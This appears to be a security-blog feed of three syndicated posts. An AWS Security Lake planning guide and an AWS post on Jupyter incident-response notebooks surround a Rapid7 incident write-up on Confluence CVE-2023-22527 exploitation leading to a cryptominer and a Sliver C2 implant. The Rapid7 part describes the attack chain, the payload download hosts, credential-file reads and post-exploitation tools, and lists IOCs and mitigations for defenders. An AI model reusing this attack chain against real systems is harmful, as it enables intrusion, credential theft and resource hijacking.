  • Determine third-party log sources — Decide if you want to include non-AWS service logs as sources in your POC. For more information about your options, see Third-party integrations with Security Lake; the integrations listed as “Source” can send logs to Security Lake.

    Note: You can add third-party integrations after the POC or in a second phase of the POC. Pre-planning will be required to make sure that you can get these set up during the 15-day free trial. Third-party integrations usually take more time to set up than AWS service logs.

  • Select a delegated administrator – Identify which account will serve as the delegated administrator. Make sure that you have the appropriate permissions from the organization admin account to identify and enable the account that will be your Security Lake delegated administrator. This account will be the location for the S3 buckets with your security data and where you centrally configure Security Lake. The AWS Security Reference Architecture (AWS SRA) recommends that you use the AWS logging account for this purpose. In addition, make sure to review Important considerations for delegated Security Lake administrators.
  • Select accounts in scope — Define which accounts to collect data from. To get the most realistic estimate of the cost of Security Lake, enable all accounts across your organization during the free trial.
  • Determine analytics tool — Determine if you want to use native AWS analytics tools, such as Athena and OpenSearch Service, or an existing SIEM, where the SIEM is a subscriber to Security Lake.
  • Define log retention and Regions — Define your log retention requirements and Regional restrictions or considerations.

Prepare for deployment

After you determine your success criteria and your Security Lake configuration, you should have an idea of your stakeholders, desired state, and timeframe. Now you need to prepare for deployment. In this step, you should complete as much as possible before you deploy Security Lake. The following are some steps to take:

  • Create a project plan and timeline so that everyone involved understands what success look like and what the scope and timeline is.
  • Define the relevant stakeholders and consumers of the Security Lake data. Some common stakeholders include security operations center (SOC) analysts, incident responders, security engineers, cloud engineers, finance, and others.
  • Define who is responsible, accountable, consulted, and informed during the deployment. Make sure that team members understand their roles.
  • Make sure that you have access in your management account to delegate and administrator. For further details, see IAM permissions required to designate the delegated administrator.
  • Consider other technical prerequisites that you need to accomplish. For example, if you need roles in addition to what Security Lake creates for custom extract, transform, and load (ETL) pipelines for custom sources, can you work with the team in charge of that process before the POC?

Enable Security Lake

The next step is to enable Security Lake in your environment and configure your sources and subscribers.

  1. Deploy Security Lake across the Regions, accounts, and AWS log sources that you previously defined.
  2. Configure custom sources that are in scope for your POC.
  3. Configure analytics tools in scope for your POC.

Validate deployment

The final step is to confirm that you have configured Security Lake and additional components, validate that everything is working as intended, and evaluate the solution against your success criteria.

  • Validate log collection — Verify that you are collecting the log sources that you configured. To do this, check the S3 buckets in the delegated administrator account for the logs.
  • Validate analytics tool — Verify that you can analyze the log sources in your analytics tool of choice. If you don’t want to configure additional analytics tooling, you can use Athena, which is configured when you set up Security Lake. For sample Athena queries, see Amazon Security Lake Example Queries on GitHub and Security Lake queries in the documentation.
  • Obtain a cost estimate — In the Security Lake console, you can review a usage page to verify that the cost of Security Lake in your environment aligns with your expectations and budgets.
  • Assess success criteria — Determine if you achieved the success criteria that you defined at the beginning of the project.

Next steps

Next steps will largely depend on whether you decide to move forward with Security Lake.

  • Determine if you have the approval and budget to use Security Lake.
  • Expand to other data sources that can help you provide more security outcomes for your business.
  • Configure S3 lifecycle policies to efficiently store logs long term based on your requirements.
  • Let other teams know that they can subscribe to Security Lake to use the log data for their own purposes. For example, a development team that gets access to CloudTrail through Security Lake can analyze the logs to understand the permissions needed for an application.

Conclusion

In this blog post, we showed you how to plan and implement a Security Lake POC. You learned how to do so through phases, including defining success criteria, configuring Security Lake, and validating that Security Lake meets your business needs.

As a customer, this guide will help you run a successful proof of value (POV) with Security Lake. It guides you in assessing the value and factors to consider when deciding to implement the current features.

Further resources

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Anna McAbee

Anna McAbee

Anna is a Security Specialist Solutions Architect focused on threat detection and incident response at AWS. Before AWS, she worked as an AWS customer in financial services on both the offensive and defensive sides of security. Outside of work, Anna enjoys cheering on the Florida Gators football team, wine tasting, and traveling the world.

Author

Marshall Jones

Marshall is a Worldwide Security Specialist Solutions Architect at AWS. His background is in AWS consulting and security architecture, focused on a variety of security domains including edge, threat detection, and compliance. Today, he is focused on helping enterprise AWS customers adopt and operationalize AWS security services to increase security effectiveness and reduce risk.

Marc Luescher

Marc Luescher

Marc is a Senior Solutions Architect helping enterprise customers be successful, focusing strongly on threat detection, incident response, and data protection. His background is in networking, security, and observability. Previously, he worked in technical architecture and security hands-on positions within the healthcare sector as an AWS customer. Outside of work, Marc enjoys his 3 dogs, 4 cats, and 20+ chickens.

RCE to Sliver: IR Tales from the Field

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/02/15/rce-to-sliver-ir-tales-from-the-field/

RCE to Sliver: IR Tales from the Field

*Rapid7 Incident Response consultants Noah Hemker, Tyler Starks, and malware analyst Tom Elkins contributed analysis and insight to this blog.*

Rapid7 Incident Response was engaged to investigate an incident involving unauthorized access to two publicly-facing Confluence servers that were the source of multiple malware executions. Rapid7 identified evidence of exploitation for CVE-2023-22527 within available Confluence logs. During the investigation, Rapid7 identified cryptomining software and a Sliver Command and Control (C2) payload on in-scope servers. Sliver is a modular C2 framework that provides adversarial emulation capabilities for red teams; however, it’s also frequently abused by threat actors. The Sliver payload was used to action subsequent threat actor objectives within the environment. Without proper security tooling to monitor system network traffic and firewall communications, this activity would have progressed undetected leading to further compromise.

Rapid7 customers

Rapid7 consistently monitors emergent threats to identify areas for new detection opportunities. The recent appearance of Sliver C2 malware prompted Rapid7 teams to conduct a thorough analysis of the techniques being utilized and the potential risks. Rapid7 InsightIDR has an alert rule Suspicious Web Request - Possible Atlassian Confluence CVE-2023-22527 Exploitation available for all IDR customers to detect the usage of the text-inline.vm consistent with the exploitation of CVE-2023-22527. A vulnerability check is also available to InsightVM and Nexpose customers. A Velociraptor artifact to hunt for evidence of Confluence CVE-2023-22527 exploitation is available on the Velociraptor Artifact Exchange here. Read Rapid7’s blog on CVE-2023-22527.

Observed Attacker Behavior

Rapid7 IR began the investigation by triaging available forensic artifacts on the two affected publicly-facing Confluence servers. These servers were both running vulnerable Confluence software versions that were abused to obtain Remote Code Execution (RCE) capabilities. Rapid7 reviewed server access logs to identify the presence of suspicious POST requests consistent with known vulnerabilities, including CVE-2023-22527. This vulnerability is a critical OGNL injection vulnerability that abuses the text-inline.vm component of Confluence by sending a modified POST request to the server.

Evidence showed multiple instances of exploitation of this CVE, however, evidence of an embedded command would not be available within the standard header information logged within access logs. Packet Capture (PCAP) was not available to be reviewed to identify embedded commands, but the identified POST requests are consistent with the exploitation of the CVE.
The following are a few examples of the exploitation of the Confluence CVE found within access logs:

Access.log Entry
POST /template/aui/text-inline.vm HTTP/1.0 200 5961ms 7753 – Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
POST /template/aui/text-inline.vm HTTP/1.0 200 70ms 7750 – Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
POST /template/aui/text-inline.vm HTTP/1.0 200 247ms 7749 – Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Evidence showed the execution of a curl command post-exploitation of the CVE resulting in the dropping of cryptomining malware to the system. The IP addresses associated with the malicious POST requests to the Confluence servers matched the IP addresses of the identified curl command. This indicates that the dropped cryptomining malware was directly tied to Confluence CVE exploitation.
As a result of the executed curl command, file w.sh was written to the /tmp/ directory on the system. This file is a bash script used to enumerate the operating system, download cryptomining installation files, and then execute the cryptomining binary. The bash script then executed the wget command to download javs.tar.gz from the IP address 38.6.173[.]11 over port 80. This file was identified to be the XMRigCC cryptomining malware which caused a spike in system resource utilization consistent with cryptomining activity. Service javasgs_miner.service was created on the system and set to run as root to ensure persistence.

The following is a snippet of code contained within w.sh defining communication parameters for the downloading and execution of the XMRigCC binary.

RCE to Sliver: IR Tales from the Field

Rapid7 found additional log evidence within Catalina.log that references the download of the above file inside of an HTTP response header. This response registered as ‘invalid’ as it contained characters that could not be accurately interpreted. Evidence confirmed the successful download and execution of the XMRigCC miner, so the above Catalina log may prove useful for analysts to identify additional proof of attempted or successful exploitation.

Catalina Log Entry
WARNING [http-nio-8090-exec-239 url: /rest/table-filter/1.0/service/license; user: Redacted ] org.apache.coyote.http11.Http11Processor.prepareResponse The HTTP response header [X-Cmd-Response] with value [http://38.6.173.11/xmrigCC-3.4.0-linux-generic-static-amd64.tar.gz xmrigCC-3.4.0-linux-generic-static-amd64.tar.gz… ] has been removed from the response because it is invalid

Rapid7 then shifted focus to begin a review of system network connections on both servers. Evidence showed an active connection with known-abused IP address 193.29.13[.]179 communicating over port 8888 from both servers. netstat command output showed that the network connection’s source program was called X-org and was located within the system’s /tmp directory. According to firewall logs, the first identified communication from this server to the malicious IP address aligned with the timestamps of the identified X-org file creation. Rapid7 identified another malicious file residing on the secondary server named X0 Both files shared the same SHA256 hash, indicating that they are the same binary. The hash for these files has been provided below in the IOCs section.

A review of firewall logs provided a comprehensive view of the communications between affected systems and the malicious IP address. Firewall logs filtered on traffic between the compromised servers and the malicious IP address showed inbound and outbound data transfers consistent with known C2 behavior. Rapid7 decoded and debugged the Sliver payload to extract any available Indicators of Compromise (IOCs). Within the Sliver payload, Rapid7 confirmed the following IP address 193.29.13[.]179 would communicate over port 8888 using the mTLS authentication protocol.

RCE to Sliver: IR Tales from the Field

After Sliver first communicated with the established C2, it checked the username associated with the current session on the local system, read etc/passwd and etc/machine-id and then communicated back with the C2 again. The contents of passwd and machine-id provide system information such as the hostname and any account on the system. Cached credentials from the system were discovered to be associated with outbound C2 traffic further supporting this credential access. This activity is consistent with the standard capabilities available within the GitHub release of Sliver hosted here.

The Sliver C2 connection was later used to execute wget commands used to download Kerbrute, Traitor, and Fscan to the servers. Kerbute was executed from dev/shm and is commonly used to brute-force and enumerate valid Active Directory accounts through Kerberos pre-authentications. The Traitor binary was executed from the var/tmp directory which contains the functionality to leverage Pwnkit and Dirty Pipe as seen within evidence on the system. Fscan was executed from the var/tmp directory with the file name f and performed scanning to enumerate systems present within the environment. Rapid7 performed containment actions to deny any further threat actor activity. No additional post-exploitation objectives were identified within the environment.

Mitigation guidance

To mitigate the attacker behavior outlined in this blog, the following mitigation techniques should be considered:

  • Ensure that unnecessary ports and services are disabled on publicly-facing servers.

  • All publicly-facing servers should regularly be patched and remain up-to-date with the most recent software releases.

  • Environment firewall logs should be aggregated into a centralized security solution to allow for the detection of abnormal network communications.

  • Firewall rules should be implemented to deny inbound and outbound traffic from unapproved geolocations.

  • Publicly-facing servers hosting web applications should implement a restricted shell, where possible, to limit the capabilities and scope of commands available when compared to a standard bash shell.

MITRE ATT&CK Techniques

Tactics Techniques Details
Command and Control Application Layer Protocol (T1071) Sliver C2 connection
Discovery Domain Account Discovery (T1087) Kerbrute enumeration of Active Directory
Reconnaissance Active Scanning (T1595) Fscan enumeration
Privilege Escalation Setuid and Setgid (T1548.001) Traitor privilege escalation
Execution Unix Shell (T1059.004) The Sliver payload and follow-on command executions
Credential Access Brute Force (T1110) Kerbrute Active Directory brute force component
Credential Access OS Credential Dumping (T1003.008) Extracting the contents of /etc/passwd file
Impact Resource Hijacking (T1496) Execution of cryptomining software
Initial Access Exploit Public-Facing Application (T1190) Evidence of text-inline abuse within Confluence logs

Indicators of Compromise

Attribute Value Description
Filename and Path /dev/shm/traitor-amd64 Privilege escalation binary
SHA256 fdfbfc07248c3359d9f1f536a406d4268f01ed63a856bd6cef9dccb3cf4f2376 Hash for Traitor binary
Filename and Path /var/tmp/kerbrute_linux_amd64 Kerbrute enumeration of Active Directory
SHA256 710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122a Hash for Kerbrute binary
Filename and Path /var/tmp/f Fscan enumeration
SHA256 b26458a0b60f4af597433fb7eff7b949ca96e59330f4e4bb85005e8bbcfa4f59 Hash for Fscan binary
Filename and Path /tmp/X0 Sliver binary
SHA256 29bd4fa1fcf4e28816c59f9f6a248bedd7b9867a88350618115efb0ca867d736 Hash for Sliver binary
Filename and Path /tmp/X-org Sliver binary
SHA256 29bd4fa1fcf4e28816c59f9f6a248bedd7b9867a88350618115efb0ca867d736 Hash for Sliver binary
IP Address 193.29.13.179 Sliver C2 IP address
Filename and Path /tmp/w.sh Bash script for XMrigCC cryptominer
SHA256 8d7c5ab5b2cf475a0d94c2c7d82e1bbd8b506c9c80d5c991763ba6f61f1558b0 Hash for bash script
Filename and Path /tmp/javs.tar.gz Compressed crypto installation files
SHA256 ef7c24494224a7f0c528edf7b27c942d18933d0fc775222dd5fffd8b6256736b Hash for crypto installation files
Log-Based IOC "POST /template/aui/text-inline.vm HTTP/1.0 200" followed by GET request containing curl Exploit behavior within Confluence access.log
IP Address 195.80.148.18 IP address associated with exploit behavior of text-inline followed by curl
IP Address 103.159.133.23 IP address associated with exploit behavior of text-inline followed by curl

How to improve your security incident response processes with Jupyter notebooks

Post Syndicated from Tim Manik original https://aws.amazon.com/blogs/security/how-to-improve-your-security-incident-response-processes-with-jupyter-notebooks/

Customers face a number of challenges to quickly and effectively respond to a security event. To start, it can be difficult to standardize how to respond to a partic­ular security event, such as an Amazon GuardDuty finding. Additionally, silos can form with reliance on one security analyst who is designated to perform certain tasks, such as investigate all GuardDuty findings. Jupyter notebooks can help you address these challenges by simplifying both standardization and collaboration.

Jupyter Notebook is an open-source, web-based application to run and document code. Although Jupyter notebooks are most frequently used for data science and machine learning, you can also use them to more efficiently and effectively investigate and respond to security events.

In this blog post, we will show you how to use Jupyter Notebook to investigate a security event. With this solution, you can automate the tasks of gathering data, presenting the data, and providing procedures and next steps for the findings.

Benefits of using Jupyter notebooks for security incident response

The following are some ways that you can use Jupyter notebooks for security incident response:

  • Develop readable code for analysts – Within a notebook, you can combine markdown text and code cells to improve readability. Analysts can read context around the code cell, run the code cell, and analyze the results within the notebook.
  • Standardize analysis and response – You can reuse notebooks after the initial creation. This makes it simpler for you to standardize your incident response processes for how to respond to a certain type of security event. Additionally, you can use notebooks to achieve repeatable responses. You can rerun an entire notebook or a specific cell.
  • Collaborate and share incident response knowledge – After you create a Jupyter notebook, you can share it with peers to more seamlessly collaborate and share knowledge, which helps reduce silos and reliance on certain analysts.
  • Iterate on your incident response playbooks – Developing a security incident response program involves continuous iteration. With Jupyter notebooks, you can start small and iterate on what you have developed. You can keep Jupyter notebooks under source code control by using services such as AWS CodeCommit. This allows you to approve and track changes to your notebooks.

Architecture overview

Figure 1: Architecture for incident response analysis

Figure 1: Architecture for incident response analysis

The architecture shown in Figure 1 consists of the foundational services required to analyze and contain security incidents on AWS. You create and access the playbooks through the Jupyter console that is hosted on Amazon SageMaker. Within the playbooks, you run several Amazon Athena queries against AWS CloudTrail logs hosted in Amazon Simple Storage Service (Amazon S3).

Solution implementation

To deploy the solution, you will complete the following steps:

  1. Deploy a SageMaker notebook instance
  2. Create an Athena table for your CloudTrail trail
  3. Grant AWS Lake Formation access
  4. Access the Credential Compromise playbooks by using JupyterLab

Step 1: Deploy a SageMaker notebook instance

You will host your Jupyter notebooks on a SageMaker notebook instance. We chose to use SageMaker instead of running the notebooks locally because SageMaker provides flexible compute, seamless integration with CodeCommit and GitHub, temporary credentials through AWS Identity and Access Management (IAM) roles, and lower latency for Athena queries.

You can deploy the SageMaker notebook instance by using the AWS CloudFormation template from our jupyter-notebook-for-incident-response GitHub repository. We recommend that you deploy SageMaker in your security tooling account or an equivalent.

The CloudFormation template deploys the following resources:

  • A SageMaker notebook instance to run the analysis notebooks. Because this is a proof of concept (POC), the deployed SageMaker instance is the smallest instance type available. However, within an enterprise environment, you will likely need a larger instance type.
  • An AWS Key Management Service (AWS KMS) key to encrypt the SageMaker notebook instance and protect sensitive data.
  • An IAM role that grants the SageMaker notebook permissions to query CloudTrail, VPC Flow Logs, and other log sources.
  • An IAM role that allows access to the pre-signed URL of the SageMaker notebook from only an allowlisted IP range.
  • A VPC configured for SageMaker with an internet gateway, NAT gateway, and VPC endpoints to access required AWS services securely. The internet gateway and NAT gateway provide internet access to install external packages.
  • An S3 bucket to store results for your Athena log queries—you will reference the S3 bucket in the next step.

Step 2: Create an Athena table for your CloudTrail trail

The solution uses Athena to query CloudTrail logs, so you need to create an Athena table for CloudTrail.

There are two main ways to create an Athena table for CloudTrail:

For either of these methods to create an Athena table, you need to provide the URI of an S3 bucket. For this blog post, use the URI of the S3 bucket that the CloudFormation template created in Step 1. To find the URI of the S3 bucket, see the Output section of the CloudFormation stack.

Step 3: Grant AWS Lake Formation access

If you don’t use AWS Lake Formation in your AWS environment, skip to Step 4. Otherwise, continue with the following instructions. Lake Formation is how data access control for your Athena tables is managed.

To grant permission to the Security Log database

  1. Open the Lake Formation console.
  2. Select the database that you created in Step 2 for your security logs. If you used the Security Analytics Bootstrap, then the table name is either security_analysis or a custom name that you provided—you can find the name in the CloudFormation stack. If you created the Athena table by using the CloudTrail console, then the database is named default.
  3. From the Actions dropdown, select Grant.
  4. In Grant data permissions, select IAM users and roles.
  5. Find the IAM role used by the SageMaker Notebook instance.
  6. In Database permissions, select Describe and then Grant.

To grant permission to the Security Log CloudTrail table

  1. Open the Lake Formation console.
  2. Select the database that you created in Step 2.
  3. Choose View Tables.
  4. Select CloudTrail. If you created VPC flow log and DNS log tables, select those, too.
  5. From the Actions dropdown, select Grant.
  6. In Grant data permissions, select IAM users and roles.
  7. Find the IAM role used by the SageMaker notebook instance.
  8. In Table permissions, select Describe and then Grant.

Step 4: Access the Credential Compromise playbooks by using JupyterLab

The CloudFormation template clones the jupyter-notebook-for-incident-response GitHub repo into your Jupyter workspace.

You can access JupyterLab hosted on your SageMaker notebook instance by following the steps in the Access Notebook Instances documentation.

Your folder structure should match that shown in Figure 2. The parent folder should be jupyter-notebook-for-incident-response, and the child folders should be playbooks and cfn-templates.

Figure 2: Folder structure after GitHub repo is cloned to the environment

Figure 2: Folder structure after GitHub repo is cloned to the environment

Sample investigation of a spike in failed login attempts

In the following sections, you will use the Jupyter notebook that we created to investigate a scenario where failed login attempts have spiked. We designed this notebook to guide you through the process of gathering more information about the spike.

We discuss the important components of these notebooks so that you can use the framework to create your own playbooks. We encourage you to build on top of the playbook, and add additional queries and steps in the playbook to customize it for your organization’s specific business and security goals.

For this blog post, we will focus primarily on the analysis phase of incident response and walk you through how you can use Jupyter notebooks to help with this phase.

Before you get started with the following steps, open the credential-compromise-analysis.ipynb notebook in your JupyterLab environment.

How to import Python libraries and set environment variables

The notebooks require that you have the following Python libraries:

  • Boto3 – to interact with AWS services through API calls
  • Pandas – to visualize the data
  • PyAthena – to simplify the code to connect to Athena

To install the required Python libraries, in the Setup section of the notebook, under Load libraries, edit the variables in the two code cells as follows:

  • region – specify the AWS Region that you want your AWS API commands to run in (for example, us-east-1).
  • athena_bucket – specify the S3 bucket URI that is configured to store your Athena queries. You can find this information at Athena > Query Editor > Settings > Query result location.
  • db_name – specify the database used by Athena that contains your Athena table for CloudTrail.
Figure 3: Load the Python libraries in the notebook

Figure 3: Load the Python libraries in the notebook

This helps ensure that subsequent code cells that run are configured to run in your environment.

Run each code cell by choosing the cell and pressing SHIFT+ENTER or by choosing the play button (▶) in the toolbar at the top of the console.

How to set up the helper function for Athena

The Python query_results function, shown in the following figure, helps you query Athena tables. Run this code cell. You will use the query_results function later in the 2.0 IAM Investigation section of the notebook.

Figure 4: Code cell for the helper function to query with Athena

Figure 4: Code cell for the helper function to query with Athena

Credential Compromise Analysis Notebook

The credential-compromise-analysis.ipynb notebook includes several prebuilt queries to help you start your investigation of a potentially compromised credential. In this post, we discuss three of these queries:

  • The first query provides a broad view by retrieving the CloudTrail events related to authorization failures. By reviewing these results, you get baseline information about where users and roles are attempting to access resources or take actions without having the proper permissions.
  • The second query narrows the focus by identifying the top five IAM entities (such as users, roles, and identities) that are causing most of the authorization failures. Frequent failures from specific entities often indicate that their credentials are compromised.
  • The third query zooms in on one of the suspicious entities from the previous query. It retrieves API activity and events initiated by that entity across AWS services or resource. Analyzing actions performed by a suspicious entity can reveal if valid permissions are being misused or if the entity is systematically trying to access resources it doesn’t have access to.

Investigate authorization failures

The notebook has markdown cells that provide a description of the expected result of the query. The next cell contains the query statement. The final cell calls the query_result function to run your query by using Athena and display your results in tabular format.

In query 2.1, you query for specific error codes such as AccessDenied, and filter for anything that is an IAM entity by looking for useridentity.arn like ‘%iam%’. The notebook orders the entries by eventTime. If you want to look for specific IAM Identity Center entities, update the query to filter by useridentity.sessioncontext.sessionissuer.arn like ‘%sso.amazonaws.com%’.

This query retrieves a list of failed API calls to AWS services. From this list, you can gain additional insight into the context surrounding the spike in failed login attempts.

When you investigate denied API access requests, carefully examine details such as the user identity, timestamp, source IP address, and other metadata. This information helps you determine if the event is a legitimate threat or a false positive. Here are some specific questions to ask:

  • Does the IP address originate from within your network, or is it external? Internal addresses might be less concerning.
  • Is the access attempt occurring during normal working hours for that user? Requests outside of normal times might warrant more scrutiny.
  • What resources or changes is the user trying to access or make? Attempts to modify sensitive data or systems might indicate malicious intent.

By thoroughly evaluating the context around denied API calls, you can more accurately assess the risk they pose and whether you need to take further action. You can use the specifics in the logs to go beyond just the fact that access was denied, and learn the story of who, when, and why.

As shown in the following figure, the queries in the notebook use the following structure.

  1. Markdown cell to explain the purpose of the query (the query statement).
  2. Code cell to run the query and display the query results.

In the figure, the first code cell that runs stores the input for the query statement. After that finishes, the next code block displays the query results.

Figure 5: Run predefined Athena queries in JupyterLab

Figure 5: Run predefined Athena queries in JupyterLab

Figure 6 shows the output of the query that you ran in the 2.1 Investigation Authorization Failures section. It contains critical details for understanding the context around a denied API call:

  • The eventtime field shows the date and time that the request was completed.
  • The useridentity field reveals which IAM identity made a request.
  • The sourceipddress provides the IP address that the request was made from.
  • The useragent shows which client or app was used to make the call.
Figure 6: Results from the first investigative query

Figure 6: Results from the first investigative query

Figure 6 only shows a subset of the many details captured in CloudTrail logs. By scrolling to the right in the query output, you can view additional attributes that provide further context around the event. The CloudTrail record contents guide contains a comprehensive list of the fields included in the logs, along with descriptions of each attribute.

Often, you will need to search for more information to determine if remediation is necessary. For this reason, we have included additional queries to help you further examine the sequence of events leading up to the failed login attempt spike and after the spike occurred.

Triaging suspicious entities (Queries 2.2 and 2.3)

By running the second and third queries you can dig deeper into anomalous authorization failures. As shown in Figure 7, Query 2.2 provides the top five IAM entities with the most frequent access denials. This highlights the specific users, roles, and identities causing the most failures, which indicates potentially compromised credentials.

Query 2.3 takes the investigation further by isolating the activity from one suspicious entity. Retrieving the actions attempted by a single problematic user or role reveals useful context to determine if you need to revoke credentials. For example, is the entity probing resources that it shouldn’t have access to? Are there unusual API calls outside of normal hours? By scrutinizing an entity’s full history, you can make an informed decision on remediation.

Figure 7: Overview of queries 2.2 and 2.3

Figure 7: Overview of queries 2.2 and 2.3

You can use these two queries together to triage authorization failures: query 2 identifies high-risk entities, and query 3 gathers intelligence to drive your response. This progression from a macro view to a micro view is crucial for transforming signals into action.

Although log analysis relies on automation and queries to facilitate insights, human judgment is essential to interpret these signals and determine the appropriate response. You should discuss flagged events with stakeholders and resource owners to benefit from their domain expertise. You can export the results of your analysis by exporting your Jupyter notebook.

By collaborating with other people, you can gather contextual clues that might not be captured in the raw data. For example, an owner might confirm that a suspicious login time is expected for users in a certain time zone. By pairing automated detection with human perspectives, you can accurately assess risk and decide if credential revocation or other remediation is truly warranted. Uptime or downtime technical issues alone can’t dictate if remediation is necessary—the human element provides pivotal context.

Build your own queries

In addition to the existing queries, you can run your own queries and include them in your copy of the Credential-compromise-analysis.ipynb notebook. The AWS Security Analytics Bootstrap contains a library of common Athena queries for CloudTrail. We recommend that you review these queries before you start to build your own queries. The key takeaway is that these notebooks are highly customizable. You can use the Jupyter Notebook application to help meet the specific incident response requirements of your organization.

Contain compromised IAM entities

If the investigation reveals that a compromised IAM entity requires containment, follow these steps to revoke access:

  • For federated users, revoke their active AWS sessions according to the guidance in How to revoke federated users’ active AWS sessions. This uses IAM policies and AWS Organizations service control policies (SCPs) to revoke access to assumed roles.
  • Avoid using long-lived IAM credentials such as access keys. Instead, use temporary credentials through IAM roles. However, if you detect a compromised access key, immediately rotate or deactivate it by following the guidance in What to Do If You Inadvertently Expose an AWS Access Key. Review the permissions granted to the compromised IAM entity and consider if these permissions should be reduced after access is restored. Overly permissive policies might have enabled broader access for the threat actor.

Going forward, implement least privilege access and monitor authorization activity to detect suspicious behavior. By quickly containing compromised entities and proactively improving IAM hygiene, you can minimize the adversaries’ access duration and prevent further unauthorized access.

Additional considerations

In addition to querying CloudTrail, you can use Athena to query other logs, such as VPC Flow Logs and Amazon Route 53 DNS logs. You can also use Amazon Security Lake, which is generally available, to automatically centralize security data from AWS environments, SaaS providers, on-premises environments, and cloud sources into a purpose-built data lake stored in your account. To better understand which logs to collect and analyze as part of your incident response process, see Logging strategies for security incident response.

We recommended that you understand the playbook implementation described in this blog post before you expand the scope of your incident response solution. The running of queries and automation of containment are two elements to consider as you think about the next steps to evolve your incident response processes.

Conclusion

In this blog post, we showed how you can use Jupyter notebooks to simplify and standardize your incident response processes. You reviewed how to respond to a potential credential compromise incident using a Jupyter notebook style playbook. You also saw how this helps reduce the time to resolution and standardize the analysis and response. Finally, we presented several artifacts and recommendations showing how you can tailor this solution to meet your organization’s specific security needs. You can use this framework to evolve your incident response process.

Further resources

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, start a new thread on AWS re:Post or contact AWS Support.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

Tim Manik

Tim Manik

Tim is a Solutions Architect at AWS working with enterprise customers in North America. He specializes in cybersecurity and AI/ML. When he’s not working, you can find Tim exploring new hiking trails, swimming, or playing the guitar.

Daria Pshonkina

Daria Pshonkina

Daria is a Solutions Architect at AWS supporting enterprise customers that started their business journey in the cloud. Her specialization is in security. Outside of work, she enjoys outdoor activities, travelling, and spending quality time with friends and family.

Bryant Pickford

Bryant Pickford

Bryant is a Security Specialist Solutions Architect within the Prototyping Security team under the Worldwide Specialist Organization. He has experience in incident response, threat detection, and perimeter security. In his free time, he likes to DJ, make music, and skydive.